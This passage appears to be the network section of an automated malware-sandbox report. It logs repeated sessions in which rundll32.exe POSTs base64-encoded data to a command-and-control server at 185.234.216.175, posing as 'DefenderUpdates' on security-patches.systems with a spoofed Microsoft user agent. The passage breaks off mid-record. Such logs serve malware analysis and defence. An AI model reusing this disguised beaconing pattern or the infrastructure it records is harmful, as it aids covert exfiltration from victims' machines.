38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:20:58.448982000 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49823	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:20:58.778930902 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:00.252599955 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:20:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49829	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:00.515227079 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:02.166407108 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:01 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49831	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:02.437602997 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:03.884746075 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49836	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:04.152476072 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:05.618777037 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49842	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:05.900727034 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:07.634815931 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49848	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:08.539426088 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:09.995704889 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49854	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:10.263849974 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:11.742902994 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:11 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49860	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:12.076178074 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:13.572065115 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:13 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49865	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:13.842061996 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:15.288995028 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:14 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49866	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:15.560359955 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:17.269184113 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49870	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:17.526896954 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 6e 68 6c 51 32 4e 71 55 79 49 36 49 6e 55 76 63 55 59 79 5a 7a 30 39 49 69 77 69 65 57 6c 70 56 56 68 5a 49 6a 6f 69 63 6d 4a 50 4f 43 38 34 4e 58 46 4a 52 69 38 30 64 6b 46 4f 4e 6a 6c 53 4e 6d 39 76 62 6a 56 55 61 33 64 73 4e 32 52 69 62 32 70 34 61 46 46 33 55 31 5a 6e 57 45 56 6e 53 54 30 69 66 51 3d 3d Data Ascii: data=eyJDS3oiOiJxUHl5IiwiRnN0TCI6InE4ck43cE1wQm5LaWloNEV2VmpTMVJFPSIsInZZdEIiOiJqY0tqIiwidm9KYyI6Im1PYXF5dz09Iiwid0FjSCI6InFPQ095Y3MzYWc9PSIsInhlQ2NqUyI6InUvcUYyZz09IiwieWlpVVhZIjoicmJPOC84NXFJRi80dkFONjlSNm9vbjVUa3dsN2Rib2p4aFF3U1ZnWEVnST0ifQ==
Dec 6, 2024 22:21:18.991676092 CET	218	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:21:18 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 20 Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 55 55 47 51 69 4f 69 4a 71 59 30 74 71 49 6e 30 3d Data Ascii: eyJUUGQiOiJqY0tqIn0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49876	185.234.216.175	4443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:21:19.251430988 CET	461	OUT	POST /WinDefUpdates/DefenderUpdates/index.php HTTP/1.1 User-Agent: Microsoft-WNS/10.0 Host: security-patches.systems Content-Length: 245 Content-Type: application/x-www-form-urlencoded Accept-Language: fr-CA Data Raw: 64 61 74 61 3d 65 79 4a 44 53 33 6f 69 4f 69 4a 78 55 48 6c 35 49 69 77 69 52 6e 4e 30 54 43 49 36 49 6e 45 34 63 6b 34 33 63 45 31 77 51 6d 35 4c 61 57 6c 6f 4e 45 56 32 56 6d 70 54 4d 56 4a 46 50 53 49 73 49 6e 5a 5a 64 45 49 69 4f 69 4a 71 59 30 74 71 49 69 77 69 64 6d 39 4b 59 79 49 36 49 6d 31 50 59 58 46 35 64 7a 30 39 49 69 77 69 64 30 46 6a 53 43 49 36 49 6e 46 50 51 30 39 35 59 33 4d 7a 59 57 63 39 50 53 49 73 49 